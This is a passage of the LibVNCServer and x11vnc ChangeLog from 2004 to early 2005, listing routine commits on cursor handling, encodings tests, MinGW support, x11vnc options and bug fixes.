   6498 	* ChangeLog, prepare_x11vnc_dist.sh:  prepare_x11vnc_dist.sh: few tweaks for next release
   6499 
   6500 2005-02-07  runge <runge>
   6501 
   6502 	* ChangeLog, configure.ac:  configure.ac: --with-jpeg=DIR --with-zlib=DIR, /usr/sfw
   6503 
   6504 2005-02-05  runge <runge>
   6505 
   6506 	* ChangeLog, tightvnc-1.3dev5-vncviewer-alpha-cursor.patch,
   6507 	x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6508 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc -solid color, -opts; tightvnc unix viewer alpha patch
   6509 
   6510 2005-01-25  dscho <dscho>
   6511 
   6512 	* TODO, libvncserver/rfbserver.c: 10l: really fix preferredEncoding
   6513 	set from outside
   6514 
   6515 2005-01-24  runge <runge>
   6516 
   6517 	* x11vnc/x11vnc.c:  whoops, test version of x11vnc.c leaked out...
   6518 
   6519 2005-01-24  runge <runge>
   6520 
   6521 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6522 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  sync with new cursor mechanism, -timeout, -noalphablend, try :0 if
   6523 	 no other info
   6524 
   6525 2005-01-23  dscho <dscho>
   6526 
   6527 	* test/cursortest.c: test Floyd-Steinberg dither for alpha masks
   6528 
   6529 2005-01-21  dscho <dscho>
   6530 
   6531 	* TODO, libvncserver/cursor.c, rfb/rfb.h: implemented
   6532 	Floyd-Steinberg dither in order to rfbMakeMaskFromAlphaSource
   6533 
   6534 2005-01-21  dscho <dscho>
   6535 
   6536 	* VisualNaCro/recorder.pl: use Getopt
   6537 
   6538 2005-01-21  dscho <dscho>
   6539 
   6540 	* libvncclient/vncviewer.c: if no argc & argv are passed, honour the
   6541 	serverHost&serverPort which was set by the application
   6542 
   6543 2005-01-20  dscho <dscho>
   6544 
   6545 	* test/cursortest.c: no need to strdup for MakeXCursor
   6546 
   6547 2005-01-20  dscho <dscho>
   6548 
   6549 	* ChangeLog, libvncserver/cursor.c: disappearing cursor fixed &
   6550 	debug message purged
   6551 
   6552 2005-01-20  dscho <dscho>
   6553 
   6554 	* libvncserver/cursor.c, libvncserver/main.c,
   6555 	libvncserver/rfbserver.c: fix disappearing cursor
   6556 
   6557 2005-01-19  dscho <dscho>
   6558 
   6559 	* libvncserver/cursor.c: redraw region under old cursor even if the
   6560 	old cursor doesn't have to be freed.
   6561 
   6562 2005-01-19  dscho <dscho>
   6563 
   6564 	* TODO: a granted wish has several children ;-)
   6565 
   6566 2005-01-19  dscho <dscho>
   6567 
   6568 	* test/encodingstest.c: fix test (don't show cursor...); correctly
   6569 	set the encodings in the client; really test 20 seconds
   6570 
   6571 2005-01-19  dscho <dscho>
   6572 
   6573 	* libvncserver/cursor.c: oops, a debug message slipped through
   6574 
   6575 2005-01-18  dscho <dscho>
   6576 
   6577 	* ChangeLog, contrib/zippy.c, examples/example.c,
   6578 	libvncserver/cursor.c, libvncserver/main.c,
   6579 	libvncserver/rfbserver.c, libvncserver/selbox.c, rfb/rfb.h,
   6580 	vncterm/VNConsole.c, x11vnc/x11vnc.c: pointerClient was still
   6581 	static.  do not make requestedRegion empty without reason.  the cursor handling for clients which don't handle CursorShape
   6582 	updates was completely broken. It originally was very complicated
   6583 	for performance reasons, however, in most cases it made performance
   6584 	even worse, because at idle times there was way too much checking
   6585 	going on, and furthermore, sometimes unnecessary updates were
   6586 	inevitable.  The code now is much more elegant: the ClientRec structure knows
   6587 	exactly where it last painted the cursor, and the ScreenInfo
   6588 	structure knows where the cursor shall be.  As a consequence there is no more rfbDrawCursor()/rfbUndrawCursor(),
   6589 	no more dontSendFramebufferUpdate, and no more isCursorDrawn.  It is
   6590 	now possible to have clients which understand CursorShape updates
   6591 	and clients which don't at the same time.  rfbSetCursor no longer has the option freeOld; this is obsolete, as
   6592 	the cursor structure knows what to free and what not.
   6593 
   6594 2005-01-18  dscho <dscho>
   6595 
   6596 	* libvncserver/rfbregion.c, rfb/rfbregion.h: add convenience
   6597 	function to clip using x2,y2 instead of w,h
   6598 
   6599 2005-01-18  dscho <dscho>
   6600 
   6601 	* test/Makefile.am, test/cursortest.c: add a cursor test
   6602 	(interactive for now)
   6603 
   6604 2005-01-18  dscho <dscho>
   6605 
   6606 	* VisualNaCro/.cvsignore: more ignorance
   6607 
   6608 2005-01-17  dscho <dscho>
   6609 
   6610 	* index.html: LibVNCClient is included
   6611 
   6612 2005-01-17  dscho <dscho>
   6613 
   6614 	* index.html: alpha cursor and VisualNaCro news
   6615 
   6616 2005-01-16  dscho <dscho>
   6617 
   6618 	* VisualNaCro/.cvsignore: ignore generated files
   6619 
   6620 2005-01-16  runge <runge>
   6621 
   6622 	* ChangeLog, libvncserver/cursor.c, rfb/rfb.h, x11vnc/ChangeLog,
   6623 	x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6624 	x11vnc/x11vnc.c:  add cursor alphablending to rfb.h cursor.c, x11vnc -alphablend
   6625 	 -snapfb etc..
   6626 
   6627 2005-01-14  dscho <dscho>
   6628 
   6629 	* VisualNaCro/Makefile.am, VisualNaCro/default8x16.h,
   6630 	VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 
   6631 	fix most TODOs; recorder.pl now actually records something; add
   6632 	nacro.pm to package
   6633 
   6634 2005-01-14  dscho <dscho>
   6635 
   6636 	* examples/example.c: reverted segfault fix; use rfbDrawCharWithClip
   6637 
   6638 2005-01-14  dscho <dscho>
   6639 
   6640 	* libvncserver/font.c: add comment "if col=bcol, assume background
   6641 	is transparent"
   6642 
   6643 2005-01-14  dscho <dscho>
   6644 
   6645 	* libvncserver/main.c: fix comment
   6646 
   6647 2005-01-14  dscho <dscho>
   6648 
   6649 	* libvncserver/rfbserver.c: close socket in ClientConnectionGone
   6650 
   6651 2005-01-14  dscho <dscho>
   6652 
   6653 	* configure.ac: new version...
   6654 
   6655 2005-01-14  dscho <dscho>
   6656 
   6657 	* VisualNaCro/AUTHORS, VisualNaCro/ChangeLog,
   6658 	VisualNaCro/Makefile.am, VisualNaCro/NEWS, VisualNaCro/README,
   6659 	VisualNaCro/autogen.sh, VisualNaCro/configure.ac,
   6660 	VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 
   6661 	VisualNacro, a visual macro recorder for VNC. Alpha version
   6662 
   6663 2005-01-14  dscho <dscho>
   6664 
   6665 	* libvncserver/main.c, rfb/rfb.h: return value of rfbProcessEvents
   6666 	tells if an update was pending
   6667 
   6668 2005-01-14  dscho <dscho>
   6669 
   6670 	* libvncserver/font.c: fix segfault when trying to write outside of
   6671 	frameBuffer
   6672 
   6673 2005-01-14  dscho <dscho>
   6674 
   6675 	* libvncclient/vncviewer.c: argc and argv may be zero (which means
   6676 	to ignore them)
   6677 
   6678 2005-01-03  dscho <dscho>
   6679 
   6680 	* libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: add hook
   6681 	to allow for custom client messages
   6682 
   6683 2004-12-27  runge <runge>
   6684 
   6685 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6686 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: improve XFIXES cursor transparency, more remote-control
   6687 	 cmds.
   6688 
   6689 2004-12-23  runge <runge>
   6690 
   6691 	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
   6692 
   6693 2004-12-23  runge <runge>
   6694 
   6695 	* x11vnc/Makefile.am:  x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
   6696 
   6697 2004-12-23  runge <runge>
   6698 
   6699 	* x11vnc/Makefile.am:  x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
   6700 
   6701 2004-12-23  runge <runge>
   6702 
   6703 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   6704 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6705 	x11vnc/x11vnc.c:  x11vnc: minor tweaks for x11vnc 0.7 file release
   6706 
   6707 2004-12-20  dscho <dscho>
   6708 
   6709 	* index.html: Ooh, I'm lazy. Some news were added retroactively.
   6710 
   6711 2004-12-20  dscho <dscho>
   6712 
   6713 	* ChangeLog, configure.ac, index.html: released 0.7
   6714 
   6715 2004-12-20  dscho <dscho>
   6716 
   6717 	* examples/mac.c: compile fix on mac; still untested...
   6718 
   6719 2004-12-20  dscho <dscho>
   6720 
   6721 	* test/Makefile.am: fix for MinGW
   6722 
   6723 2004-12-20  runge <runge>
   6724 
   6725 	* x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   6726 	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: minor tweaks for 0.7 file release
   6727 
   6728 2004-12-20  runge <runge>
   6729 
   6730 	* ChangeLog, libvncserver/cursor.c, x11vnc/ChangeLog,
   6731 	x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6732 	x11vnc/x11vnc.c:  x11vnc: synchronous mode for -remote, string cleanup
   6733 
   6734 2004-12-17  dscho <dscho>
   6735 
   6736 	* libvncserver/cursor.c: don't mix up width & height!
   6737 
   6738 2004-12-17  runge <runge>
   6739 
   6740 	* ChangeLog, test/encodingstest.c, x11vnc/ChangeLog, x11vnc/README,
   6741 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6742 	x11vnc/x11vnc.c:  x11vnc: XFIXES cursorshape, XRANDR resize, remote control, gui
   6743 
   6744 2004-12-01  dscho <dscho>
   6745 
   6746 	* rfb/rfb.h: fix compilation on non MinGW32...
   6747 
   6748 2004-12-01  dscho <dscho>
   6749 
   6750 	* ChangeLog, TODO, client_examples/Makefile.am,
   6751 	client_examples/SDLvncviewer.c, configure.ac, contrib/Makefile.am,
   6752 	examples/Makefile.am, examples/vncev.c, libvncclient/listen.c,
   6753 	libvncclient/rfbproto.c, libvncclient/sockets.c,
   6754 	libvncclient/vncviewer.c, libvncserver-config.in,
   6755 	libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c,
   6756 	rfb/rfb.h, rfb/rfbproto.h, test/Makefile.am, vncterm/Makefile.am,
   6757 	x11vnc/Makefile.am: support MinGW32!
   6758 
   6759 2004-12-01  dscho <dscho>
   6760 
   6761 	* AUTHORS, libvncclient/listen.c, libvncclient/sockets.c,
   6762 	libvncclient/vncviewer.c: use rfbClientErr to log errors, check if
   6763 	calloc succeded (both hinted by Andre Leiradella)
   6764 
   6765 2004-11-30  dscho <dscho>
   6766 
   6767 	* ChangeLog, libvncclient/sockets.c: fix long reads (in some events
   6768 	of success, no TRUE was returned)
   6769 
   6770 2004-11-30  dscho <dscho>
   6771 
   6772 	* rfb/rfbproto.h: add EncodingUltra; it is not implemented in the
   6773 	libraries yet, so this is just a place holder
   6774 
   6775 2004-10-16  dscho <dscho>
   6776 
   6777 	* TODO: TODOs from encodingstest
   6778 
   6779 2004-10-16  dscho <dscho>
   6780 
   6781 	* test/.cvsignore: tight-1 -> encodingstest
   6782 
   6783 2004-10-16  dscho <dscho>
   6784 
   6785 	* test/Makefile.am, test/encodingstest.c, test/tight-1.c: rename
   6786 	tight-1.c into encodingstest.c, fixing it in the process. It now
   6787 	passes all encodings except corre (broken) and zrle (not yet
   6788 	implemented in libvncclient)
   6789 
   6790 2004-10-16  dscho <dscho>
   6791 
   6792 	* libvncclient/rfbproto.c, libvncclient/sockets.c,
   6793 	libvncclient/tight.c, libvncclient/vncviewer.c,
   6794 	libvncclient/zlib.c, rfb/rfbclient.h: move read buffer to rfbClient
   6795 	structure (thread safety); make rfbClientLog overrideable
   6796 
   6797 2004-10-15  dscho <dscho>
   6798 
   6799 	* test/tight-1.c: compiles, 1st run is okay, 2nd and subsequent give
   6800 	errors. Evidently, libvncclient is not yet reentrant (or
   6801 	threadsafe).
   6802 
   6803 2004-10-15  dscho <dscho>
   6804 
   6805 	* libvncclient/vncviewer.c: no need to modify argv
   6806 
   6807 2004-10-15  dscho <dscho>
   6808 
   6809 	* TODO: ideas
   6810 
   6811 2004-10-15  dscho <dscho>
   6812 
   6813 	* test/tight-1.c: compiling, non functional version of a unit test
   6814 	for encodings
   6815 
   6816 2004-10-04  dscho <dscho>
   6817 
   6818 	* TODO: cursor problem
   6819 
   6820 2004-10-02  dscho <dscho>
   6821 
   6822 	* libvncserver/rfbserver.c: release client list mutex earlier
   6823 
   6824 2004-09-14  dscho <dscho>
   6825 
   6826 	* index.html, success.html: added success stories and link to
   6827 	x11vnc's home
   6828 
   6829 2004-09-14  dscho <dscho>
   6830 
   6831 	* success.html: add success stories (only one at the moment)
   6832 
   6833 2004-09-07  dscho <dscho>
   6834 
   6835 	* index.html: new API
   6836 
   6837 2004-09-03  dscho <dscho>
   6838 
   6839 	* libvncserver/rfbregion.c: output only via rfbErr
   6840 
   6841 2004-09-03  dscho <dscho>
   6842 
   6843 	* libvncserver-config.in: libvncserver.a is in libvncserver/ now
   6844 
   6845 2004-09-01  runge <runge>
   6846 
   6847 	* ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
   6848 	x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: new pointer input handling algorithm; x11vnc pkg installs
   6849 	 java viewer
   6850 
   6851 2004-08-30  dscho <dscho>
   6852 
   6853 	* ChangeLog: API changes
   6854 
   6855 2004-08-30  dscho <dscho>
   6856 
   6857 	* contrib/zippy.c, examples/colourmaptest.c, examples/example.c,
   6858 	examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c,
   6859 	examples/vncev.c, libvncclient/rfbproto.c, libvncserver/auth.c,
   6860 	libvncserver/cargs.c, libvncserver/corre.c, libvncserver/cursor.c,
   6861 	libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/font.c,
   6862 	libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
   6863 	libvncserver/rfbserver.c, libvncserver/rre.c,
   6864 	libvncserver/selbox.c, libvncserver/sockets.c,
   6865 	libvncserver/stats.c, libvncserver/tight.c,
   6866 	libvncserver/translate.c, libvncserver/vncauth.c,
   6867 	libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h,
   6868 	rfb/rfbproto.h, test/cargstest.c, test/copyrecttest.c,
   6869 	vncterm/LinuxVNC.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
   6870 	x11vnc/x11vnc.c: global structures/functions should have "rfb",
   6871 	"sra" or "zrle" as prefix, while structure members should not
   6872 
   6873 2004-08-30  dscho <dscho>
   6874 
   6875 	* client_examples/Makefile.am: my ffmpeg was compiled with
   6876 	mp3lame...
   6877 
   6878 2004-08-30  runge <runge>
   6879 
   6880 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
   6881 	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -cursor change shape handling, configure.ac: add more
   6882 	 macros for X extensions
   6883 
   6884 2004-08-17  dscho <dscho>
   6885 
   6886 	* index.html: news: QEMU patch v6
   6887 
   6888 2004-08-15  runge <runge>
   6889 
   6890 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
   6891 	x11vnc/x11vnc.c:  x11vnc: -overlay to fix colors with Sun 8+24 overlay visuals. -sid
   6892 	 option.
   6893 
   6894 2004-08-04  runge <runge>
   6895 
   6896 	* x11vnc/README, x11vnc/x11vnc.1:  fix XKBlib.h detection on *BSD, x11vnc: manpage and README
   6897 
   6898 2004-08-04  runge <runge>
   6899 
   6900 	* ChangeLog, configure.ac, prepare_x11vnc_dist.sh,
   6901 	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c:  fix XKBlib.h detection on *BSD, x11vnc: manpage and README
   6902 
   6903 2004-07-31  runge <runge>
   6904 
   6905 	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: adjust version number and output
   6906 
   6907 2004-07-31  runge <runge>
   6908 
   6909 	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -cursorpos now the default, fix cursorpos + scaling bug.
   6910 
   6911 2004-07-29  runge <runge>
   6912 
   6913 	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -add_keysyms dynamically add missing keysyms to X server
   6914 
   6915 2004-07-27  runge <runge>
   6916 
   6917 	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -xkb (XKEYBOARD modtweak), -skip_keycodes, multi lines in
   6918 	 x11vncrc
   6919 
   6920 2004-07-19  runge <runge>
   6921 
   6922 	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: ignore keysyms >4 for a keycode, add lastmod to -help,
   6923 	 -version
   6924 
   6925 2004-07-16  runge <runge>
   6926 
   6927 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/x11vnc.c:  modtweak is now the default for x11vnc; check X11/XKBlib.h in
   6928 	 configure.ac
   6929 
   6930 2004-07-11  runge <runge>
   6931 
   6932 	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -norepeat to turn off X server autorepeat when clients
   6933 	 exist.
   6934 
   6935 2004-07-05  runge <runge>
   6936 
   6937 	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: extend -allow to re-read a file with allowed IP addresses.
   6938 
   6939 2004-07-02  runge <runge>
   6940 
   6941 	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: improve scaled grid calc to regain text compression. add
   6942 	 :pad option
   6943 
   6944 2004-06-30  dscho <dscho>
   6945 
   6946 	* libvncclient/vncviewer.c: do not use GNU-only getline
   6947 
   6948 2004-06-28  runge <runge>
   6949 
   6950 	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: round scaled width to multiple of 4 to make vncviewer
   6951 	 happy.
   6952 
   6953 2004-06-27  runge <runge>
   6954 
   6955 	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: speed up scaling a bit, add no blending option to -scale
   6956 
   6957 2004-06-26  runge <runge>
   6958 
   6959 	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: add "-scale fraction" for global server-side scaling.
   6960 
   6961 2004-06-18  dscho <dscho>
   6962 
   6963 	* libvncserver/zrleencodetemplate.c, test/tight-1.c,
   6964 	vncterm/LinuxVNC.c, vncterm/VNCommand.c, vncterm/VNConsole.c,
   6965 	vncterm/example.c: convert c++ comments to c comments
   6966 
   6967 2004-06-18  dscho <dscho>
   6968 
   6969 	* libvncserver/sockets.c: debug
   6970 
   6971 2004-06-18  dscho <dscho>
   6972 
   6973 	* client_examples/SDLvncviewer.c: cleanups; libvncclient supports
   6974 	-encodings already
   6975 
   6976 2004-06-18  dscho <dscho>
   6977 
   6978 	* client_examples/vnc2mpg.c: cleanups; support vncrec'orded files as
   6979 	input
   6980 
   6981 2004-06-18  dscho <dscho>
   6982 
   6983 	* examples/example.c, examples/pnmshow.c, examples/pnmshow24.c: now
   6984 	that the examples reside in a subdirectory, the classes path has to
   6985 	be adapted
   6986 
   6987 2004-06-18  dscho <dscho>
   6988 
   6989 	* rfb/rfbclient.h: more comments; support playing vncrec'orded files
   6990 
   6991 2004-06-18  dscho <dscho>
   6992 
   6993 	* libvncclient/rfbproto.c, libvncclient/sockets.c,
   6994 	libvncclient/vncviewer.c: support password reading with getpass();
   6995 	support -play to play vncrec'orded files
   6996 
   6997 2004-06-17  runge <runge>
   6998 
   6999 	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: simple ~/.x11vncrc config file support, -rc, -norc
   7000 
   7001 2004-06-15  dscho <dscho>
   7002 
   7003 	* TODO: fixed
   7004 
   7005 2004-06-15  dscho <dscho>
   7006 
   7007 	* libvncclient/hextile.c: fix silly hextile bug
   7008 
   7009 2004-06-15  dscho <dscho>
   7010 
   7011 	* libvncclient/rfbproto.c: recognize more encodings
   7012 
   7013 2004-06-15  dscho <dscho>
   7014 
   7015 	* libvncclient/sockets.c: debug
   7016 
   7017 2004-06-15  dscho <dscho>
   7018 
   7019 	* libvncserver/rfbserver.c: fix CoRRE with maxRectsPerUpdate bug
   7020 
   7021 2004-06-15  dscho <dscho>
   7022 
   7023 	* libvncclient/rfbproto.c: fix silly update bug with raw encoding
   7024 
   7025 2004-06-12  runge <runge>
   7026 
   7027 	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -clear_mods -clear_keys -storepasswd, add RFB_SERVER_IP
   7028 	 RFB_SERVER_PORT to -accept/-gone
   7029 
   7030 2004-06-08  dscho <dscho>
   7031 
   7032 	* client_examples/Makefile.am, configure.ac: fix compilation on IRIX
   7033 
   7034 2004-06-08  dscho <dscho>
   7035 
   7036 	* configure.ac: fix test for sdl
   7037 
   7038 2004-06-08  dscho <dscho>
   7039 
   7040 	* client_examples/SDLvncviewer.c: fix compilation on MacOSX
   7041 
   7042 2004-06-07  dscho <dscho>
   7043 
   7044 	* index.html: layout and wording fix
   7045 
   7046 2004-06-07  dscho <dscho>
   7047 
   7048 	* index.html: more news
   7049 
   7050 2004-06-07  dscho <dscho>
   7051 
   7052 	* .cvsignore, prepare_x11vnc_dist.sh: now that it is released,
   7053 	increment x11vnc's version
   7054 
   7055 2004-06-07  dscho <dscho>
   7056 
   7057 	* .cvsignore, client_examples/.cvsignore, libvncclient/.cvsignore,
   7058 	libvncserver/.cvsignore, test/.cvsignore, x11vnc/.cvsignore: all
   7059 	this moving and renaming needs changes in the cvsignores, too!
   7060 
   7061 2004-06-07  dscho <dscho>
   7062 
   7063 	* LibVNCServer.spec.in, Makefile.am, libvncserver.spec.in,
   7064 	prepare_x11vnc_dist.sh: fix bug 968264: make rpm did not work with
   7065 	x11vnc package
   7066 
   7067 2004-06-07  dscho <dscho>
   7068 
   7069 	* client_examples/Makefile.am, client_examples/vnc2mpg.c,
   7070 	configure.ac: add vnc2mpg, a program which makes a movie from a VNC
   7071 	desktop using FFMPEG
   7072 
   7073 2004-06-07  dscho <dscho>
   7074 
   7075 	* TODO, client_examples/SDLvncviewer.c: added -encodings
   7076 
   7077 2004-06-07  dscho <dscho>
   7078 
   7079 	* ChangeLog, TODO, libvncserver/cursor.c, rfb/rfb.h: fix cursor
   7080 	trails (when not using cursor encoding and moving the cursor, the
   7081 	redrawn part of the screen didn't get updated, and so left cursor
   7082 	trails).
   7083 
   7084 2004-06-07  dscho <dscho>
   7085 
   7086 	* client_examples/SDLvncviewer.c: add mouse button handling
   7087 
   7088 2004-06-07  dscho <dscho>
   7089 
   7090 	* ChangeLog, Makefile.am, TODO, client_examples/Makefile.am,
   7091 	client_examples/SDLvncviewer.c, client_examples/ppmtest.c,
   7092 	configure.ac, contrib/Makefile.am, examples/Makefile.am,
   7093 	examples/blooptest.c, examples/copyrecttest.c,
   7094 	libvncclient/Makefile.am, libvncclient/client_test.c,
   7095 	libvncclient/sockets.c, libvncclient/vncviewer.c,
   7096 	libvncserver/Makefile.am, prepare_x11vnc_dist.sh, rfb/rfbclient.h,
   7097 	test/Makefile.am, test/blooptest.c, test/copyrecttest.c,
   7098 	test/tight-1.c, x11vnc/Makefile.am: add client_examples/, add
   7099 	SDLvncviewer, libvncclient API changes, suppress automake CFLAGS
   7100 	nagging
   7101 
   7102 2004-06-06  runge <runge>
   7103 
   7104 	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: rearrange file for easier maintenance, add RFB_CLIENT_COUNT
   7105 	 to -accept/-gone
   7106 
   7107 2004-05-28  runge <runge>
   7108 
   7109 	* x11vnc/x11vnc.c: [no log message]
   7110 
   7111 2004-05-27  runge <runge>
   7112 
   7113 	* ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c,
   7114 	prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: view-only plain passwd: -viewpasswd and 2nd line of
   7115 	 -passwdfile
   7116 
   7117 2004-05-25  dscho <dscho>
   7118 
   7119 	* prepare_x11vnc_dist.sh: a script which automatically converts a
   7120 	few files to make an x11vnc release
   7121 
   7122 2004-05-25  dscho <dscho>
   7123 
   7124 	* configure.ac: -lvncserver is not default now
   7125 
   7126 2004-05-25  dscho <dscho>
   7127 
   7128 	* ChangeLog, Makefile.am, auth.c, cargs.c, configure.ac,
   7129 	contrib/ChangeLog, contrib/Makefile.am, contrib/x11vnc.c, corre.c,
   7130 	cursor.c, cutpaste.c, d3des.c, d3des.h, draw.c,
   7131 	examples/Makefile.am, examples/regiontest.c, font.c, hextile.c,
   7132 	httpd.c, libvncclient/rfbproto.c, libvncserver/Makefile.am,
   7133 	libvncserver/auth.c, libvncserver/cargs.c, libvncserver/config.h,
   7134 	libvncserver/corre.c, libvncserver/cursor.c,
   7135 	libvncserver/cutpaste.c, libvncserver/d3des.c,
   7136 	libvncserver/d3des.h, libvncserver/draw.c, libvncserver/font.c,
   7137 	libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
   7138 	libvncserver/rfbconfig.h, libvncserver/rfbregion.c,
   7139 	libvncserver/rfbserver.c, libvncserver/rre.c,
   7140 	libvncserver/selbox.c, libvncserver/sockets.c,
   7141 	libvncserver/stats.c, libvncserver/tableinit24.c,
   7142 	libvncserver/tableinitcmtemplate.c,
   7143 	libvncserver/tableinittctemplate.c,
   7144 	libvncserver/tabletrans24template.c,
   7145 	libvncserver/tabletranstemplate.c, libvncserver/tight.c,
   7146 	libvncserver/translate.c, libvncserver/vncauth.c,
   7147 	libvncserver/zlib.c, libvncserver/zrle.c,
   7148 	libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c,
   7149 	libvncserver/zrleoutstream.h, libvncserver/zrlepalettehelper.c,
   7150 	libvncserver/zrlepalettehelper.h, libvncserver/zrletypes.h, main.c,
   7151 	rfbregion.c, rfbserver.c, rre.c, selbox.c, sockets.c, stats.c,
   7152 	tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c,
   7153 	tabletrans24template.c, tabletranstemplate.c, test/Makefile.am,
   7154 	tight.c, translate.c, vncauth.c, vncterm/Makefile.am,
   7155 	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c, zlib.c,
   7156 	zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
   7157 	zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: move the
   7158 	library into libvncserver/, x11vnc into x11vnc/
   7159 
   7160 2004-05-22  runge <runge>
   7161 
   7162 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c, httpd.c:  x11vnc: -gone, -passwdfile, -o logfile; add view-only to -accept
   7163 
   7164 2004-05-14  runge <runge>
   7165 
   7166 	* contrib/x11vnc.c:  x11vnc: more -inetd fixes.
   7167 
   7168 2004-05-14  runge <runge>
   7169 
   7170 	* contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: less fprintf under -q so '-q -inetd' has no stderr output.
   7171 
   7172 2004-05-13  runge <runge>
   7173 
   7174 	* contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: improvements to -accept popup: yes/no buttons and timeout.
   7175 
   7176 2004-05-08  runge <runge>
   7177 
   7178 	* contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: clean up -Wall warnings.
   7179 
   7180 2004-05-08  runge <runge>
   7181 
   7182 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: add -accept some-command/xmessage/popup
   7183 
   7184 2004-05-06  runge <runge>
   7185 
   7186 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: mouse -> keystroke and keystroke -> mouse remappings.
   7187 
   7188 2004-05-05  dscho <dscho>
   7189 
   7190 	* rfbserver.c, sockets.c: prevent segmentation fault when requested
   7191 	area is too big; if select is interrupted while WriteExact, just try
   7192 	again.
   7193 
   7194 2004-04-28  runge <runge>
   7195 
   7196 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: add -auth, more -cursorpos and -nofb work
   7197 
   7198 2004-04-20  runge <runge>
   7199 
   7200 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: add -cursorpos for Cursor Position Updates, and -sigpipe
   7201 
   7202 2004-04-19  dscho <dscho>
   7203 
   7204 	* main.c: ignore SIGPIPE the correct way
   7205 
   7206 2004-04-13  runge <runge>
   7207 
   7208 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: do not send selection unless all clients are in RFB_NORMAL
   7209 	 state.  increase rfbMaxClientWait when threaded to avoid
   7210 	ReadExact() timeouts for some viewers.
   7211 
   7212 2004-04-12  dscho <dscho>
   7213 
   7214 	* configure.ac: fix compilation without jpeg and a certain autoconf
   7215 	version
   7216 
   7217 2004-04-08  runge <runge>
   7218 
   7219 	* ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc options -blackout, -xinerama, -xwarppointer.  check cargs.   modify configure.ac to pick up -lXinerama
   7220 
   7221 2004-03-24  dscho <dscho>
   7222 
   7223 	* examples/pnmshow.c: add support for pgm and pbm (8-bit and 1-bit
   7224 	grayscale images)
   7225 
   7226 2004-03-22  dscho <dscho>
   7227 
   7228 	* ChangeLog, cargs.c, test/Makefile.am, test/cargstest.c: fix
   7229 	cargs.c: arguments were not correctly purged.
   7230 
   7231 2004-03-15  dscho <dscho>
   7232 
